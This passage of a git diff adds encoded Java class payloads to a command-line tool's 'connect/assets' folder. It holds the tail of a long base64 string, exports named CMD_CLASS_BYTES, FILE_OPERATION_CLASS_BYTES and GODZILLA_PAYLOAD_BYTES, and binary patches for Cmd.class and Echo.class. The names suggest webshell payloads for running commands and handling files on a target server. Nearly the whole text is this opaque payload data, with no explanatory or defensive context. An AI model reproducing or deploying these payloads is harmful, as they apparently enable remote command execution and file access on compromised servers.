"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" + + "FQqECgEQPVS7AHVZLbcA2LAAAAACACQAAACiACgAAAUOAAIFDwAFBRAAEAURABMFEgAWBRMAGwUUAB4FFQAnBRYALQUXAD0FGABF" + + "BRkASAUaAEsFGwBXBRwAYgUdAI0FHgCgBR8AswUgAMYFIQDWBRwA3QUjAOgFJADvBSUA8wUaAPoFJwEABSgBDQUpARwFKgEiBSsB" + + "NAUsATkFLQFCBS4BSwUwAU4FMQFbBTIBcgUzAYQFNAGJBTUBkgU5ACUAAAC2ABIAAAGbBUUADwAAAAIBmQVGAPwAAQAFAZYFRwD8" + + "AAIAEAGLBUgADwADABMBiAVJAPwABAAWAYUFSgE/AAUAGwGABUsABgAGAB4BfQVMAPwABwAnAXQFTQD8AAgALQFuBU4A/AAJAEgB" + + "UwVPAPwACgBXAJwFUAD8AAsAWwCCBVEA/AAMAF8AfgVSAPwADQCNAEkFUwD8AA4A6AALBVQA/AAMAQ0AhQVVAPwACwFbADcFVgD8" + + "AAwACQVXAWMAAQAhAAADCAAGAAwAAAGYKrYBzpoABwO8CLAqtgB0TAM9K74+AzYEHRxkNgUrHQRkMxA9oAAThAQBKx0FZDMQPaAA" + + "BoQEARUEmgASFQUGfpkACwcVBQZ+ZDYEBhUFBmAHbGgVBGS8CDoGEQEAvAo6BxkHArgFWAM2CKcAERkHsgAiFQg0FQhPhAgBFQiy" + + "ACK+of/sGQcQPRD+TwM2CAM2CRASNgqnAIorHIQCATMRAP9+NgsZBxULLlk2C5wAMxULEP6gACwVChAGoAATHB2fABUrHIQCATMQ" + + "PaAAChUKEBKgAFO7BVtZEwVdtwVfvxUJFQsVCniANgmECvoVCpwAMRkGFQiECAEVCRAQepFUGQYVCIQIARUJEAh6kVQZBhUIhAgB" + + "FQmRVBASNgoDNgkcHaH/dxUKEAagABQZBhUIhAgBFQkQEHqRVKcAORUKmgAiGQYVCIQIARUJEBB6kVQZBhUIhAgBFQkQCHqRVKcA" + + "FRUKEAygAA67BVtZEwVgtwVfvxUIGQa+nwAeFQi8CDoLGQYDGQsDGQa+FQi4BIy4ApQZCzoGGQawAAAAAgAkAAAAygAyAAAFPQAH" + + "BT4ACwVAABAFQQASBUIAFQVDABgFRAAdBUUAJwVGACoFRwA0BUgANwVLAEMFTABLBU4AWgVPAGEFUABnBVEAbQVSAHgFUQCEBVQA" + + "iwVVAI4FVgCRBVcAlQVYAJgFWQCkBVoArwVbALYFXADUBV0A3wViAOkFYwDsBWQA8QVlAP8FZgENBWcBGAVoARwFaQEfBVgBJAVt" + + "ASsFbgE5BW8BQQVwAU8FcQFdBXIBZwV0AXIFdgF6BXcBgAV4AZEFeQGVBXsAJQAAAI4ADgAAAZgFYgCpAAAAEAGIBUUADwABABIB" + + "hgVMAPwAAgAVAYMFTgD8AAMAGAGABWMA/AAEAB0BewD7APwABQBaAT4FSAAPAAYAYQE3BUsFZAAHAGoAGgHgAPwACACOAQoFTwD8" + + "AAgAkQEHBVMA/AAJAJUBAwVlAPwACgCkAHsAOwD8AAsBgAAVBJQADwALAAEFZgAAAAIFZw=="; + +export const ECHO_CLASS_BYTES = Buffer.from(ECHO_CLASS_B64, 'base64'); +export const CMD_CLASS_BYTES = Buffer.from(CMD_CLASS_B64, 'base64'); +export const FILE_OPERATION_CLASS_BYTES = Buffer.from(FILE_OPERATION_CLASS_B64, 'base64'); +export const GODZILLA_PAYLOAD_BYTES = Buffer.from(GODZILLA_PAYLOAD_B64, 'base64'); diff --git a/tools/cli/src/connect/assets/Cmd.class b/tools/cli/src/connect/assets/Cmd.class new file mode 100644 index 0000000000000000000000000000000000000000..1ea3c07f84bb29e568d56af275f4d2345fbf9a78 GIT binary patch literal 7895 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 literal 0 HcmV?d00001 diff --git a/tools/cli/src/connect/assets/Echo.class b/tools/cli/src/connect/assets/Echo.class new file mode 100644 index 0000000000000000000000000000000000000000..d754a088927ae56dccabc28b36b9ed838246e79b GIT binary patch literal 6412 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 